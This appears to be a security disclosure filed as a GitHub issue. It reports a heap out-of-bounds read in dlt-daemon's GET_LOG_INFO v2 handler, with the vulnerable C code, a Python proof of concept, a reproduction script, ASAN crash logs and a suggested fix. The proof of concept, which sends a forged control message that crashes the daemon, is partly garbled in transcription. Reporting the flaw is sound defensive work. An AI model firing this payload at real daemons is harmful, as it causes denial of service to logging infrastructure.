[REPORT] Heap-Based Out-of-Bounds Read via Unchecked GET_LOG_INFO V2 apidlen in `src/daemon/dlt_daemon_client.c`
- Dominant language
- C
- Stars
- 459
- Forks
- 340
- Avg merge
- 4d 21h
- Merged PRs (30d)
- 2
Description
### Summary
`dlt-daemon` control handler `dlt_daemon_control_get_log_info_v2()` validates only a fixed minimum request size, then trusts attacker-controlled variable lengths (`apidlen`, `ctidlen`) while advancing offsets.
A forged DLT control message with an oversized `apidlen` triggers a heap-based out-of-bounds read (ASAN: `heap-buffer-overflow`).
In local reproduction, AddressSanitizer reported `heap-buffer-overflow` in `dlt_daemon_control_get_log_info_v2` (`dlt_daemon_client.c:2156`) and daemon abort, resulting in DoS.
### Details
Affected component:
- package: `dlt-daemon`
- component: control message processing (`GET_LOG_INFO` v2)
- files:
- `src/daemon/dlt_daemon_client.c`
- `src/shared/dlt_common.c`
- tested repository revision: `c45bdbe8c45b708955520d63dede1df3c8b5afb7`
- validation date for tested revision: `2026-03-05`
Root cause:
1. Code checks only `DLT_SERVICE_GET_LOG_INFO_REQUEST_FIXED_SIZE_V2` minimum size.
2. `req->apidlen` is read from attacker data and used to move `db_offset`.
3. Subsequent `memcpy` for `ctidlen`/`ctid` can read beyond allocated message buffer when `apidlen` is oversized, causing a heap-based out-of-bounds read (ASAN: `heap-buffer-overflow`).
### Attack Preconditions
1. Target daemon is running in DLT v2 mode (`-x 2`).
2. The attacker can send TCP control messages to the daemon endpoint (default test setup: `127.0.0.1:3490`).
3. Network policy allows traffic to that endpoint.
4. No effective pre-validation/authentication blocks malformed v2 control payloads.
5. If the TCP listener is exposed beyond localhost, remote network attackers can trigger DoS.
### Vulnerable Code (Exact Code Snippet)
Path: `src/daemon/dlt_daemon_client.c:2133`
```cpp
if (dlt_check_rcv_data_size(msg->datasize, DLT_SERVICE_GET_LOG_INFO_REQUEST_FIXED_SIZE_V2) < 0)
return;
...
memcpy(&(req->apidlen), msg->databuffer + db_offset, sizeof(uint8_t));
db_offset = db_offset + (int)sizeof(uint8_t);
dlt_set_id_v2(req->apid, (const char *)(msg->databuffer + db_offset), req->apidlen);
db_offset = db_offset + (int)req->apidlen;
memcpy(&(req->ctidlen), (const char *)(msg->databuffer + db_offset), sizeof(uint8_t));
db_offset = db_offset + (int)sizeof(uint8_t);
dlt_set_id_v2(req->ctid, (const char *)(msg->databuffer + db_offset), req->ctidlen);
db_offset = db_offset + (int)req->ctidlen;
memcpy((req->com), (const char *)(msg->databuffer + db_offset), DLT_ID_SIZE);
```
### Full PoC Code
```python
#!/usr/bin/env python3
import os
import socket
import struct
import time
HOST = os.environ.get("DLT_HOST", "127.0.0.1")
PORT = int(os.environ.get("DLT_PORT", "3490"))
DLT_SERVICE_ID_GET_LOG_INFO = 0x03
DLT_MSIN_CONTROL_REQUEST = 0x16
HTYP2 = 0x40 | 0x02 | 0x04 | 0x08 # protocol v2 + control + WEID + WACID
def build_control_frame(payload: bytes, apid: bytes = b"APP", ctid: bytes = b"CON", ecid: bytes = b"ECU1") -> bytes:
ext = bytes([len(ecid)]) + ecid + bytes([len(apid)]) + apid + bytes([len(ctid)]) + ctid
extra = bytes([DLT_MSIN_CONTROL_REQUEST, 1])
total_len = 7 + len(extra) + len(ext) + len(payload)
base = struct.pack(" int:
# Keep payload at fixed minimum size (11 bytes) but set apidlen to large value.
# Parser advances by apidlen without bounds checks, then reads out-of-bounds.
payload = struct.pack("/opt/lab/artifacts/V3.daemon.log 2>&1 &
pid=$!
ready=0
for i in $(seq 1 120); do
if ! kill -0 "$pid" 2>/dev/null; then break; fi
if [[ -S /ipc/dlt ]] && nc -z 127.0.0.1 3490 >/dev/null 2>&1; then
ready=1
break
fi
sleep 0.1
done
if [[ "$ready" -ne 1 ]]; then
echo "[!] daemon did not reach ready state" >&2
wait "$pid" 2>/dev/null || true
exit 2
fi
python3 /opt/lab/pocs/poc_malformed_get_log_info_v2.py >/opt/lab/artifacts/V3.poc.log 2>&1 || true
sleep 1
kill -TERM "$pid" 2>/dev/null || true
wait "$pid" 2>/dev/null || true
'
```
3. Confirm ASAN `heap-buffer-overflow` signature.
```bash
grep -E "heap-buffer-overflow|dlt_daemon_control_get_log_info_v2|dlt_message_read_v2|ABORTING" \
artifacts/V3.daemon.log
```
### Trigger Success Evidence (Logs)
PoC send log:
Path: `artifacts/V3.poc.log`
```text
[*] Sent malformed GET_LOG_INFO_V2 (33 bytes) to 127.0.0.1:3490
```
Runtime evidence:
Path: `artifacts/V3.daemon.log`
```text
==147==ERROR: AddressSanitizer: heap-buffer-overflow ...
#0 ... in dlt_daemon_control_get_log_info_v2 /src/src/daemon/dlt_daemon_client.c:2156
#1 ... in dlt_daemon_client_process_control_v2 /src/src/daemon/dlt_daemon_client.c:1283
allocated by ... dlt_message_read_v2 /src/src/shared/dlt_common.c:2046
==147==ABORTING
```
### Impact
- Vulnerability class: heap-based out-of-bounds read (ASAN: `heap-buffer-overflow`).
- Practical impact: daemon crash (DoS) via malformed network control message.
- Additional risk: undefined behavior from invalid memory access paths.
### Suggested Fix
1. Validate dynamic offsets (`db_offset`) before every read/copy operation.
2. Enforce `db_offset + field_size <= msg->datasize` for all variable-length fields.
3. Reject requests with inconsistent `apidlen/ctidlen` combinations.
4. Add regression tests for malformed `GET_LOG_INFO` v2 payloads.
### END
Thanks.
This may be a minor vulnerability, but I decided to report it because it could potentially be exploited by more skilled attackers in the future.
If the issue is confirmed to be a valid vulnerability, could you let me know whether a CVE will be assigned?
If not, would it be acceptable for me to request a CVE from MITRE?
### Attachment
[security-lab.zip](https://github.com/user-attachments/files/25823664/security-lab.zip)
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.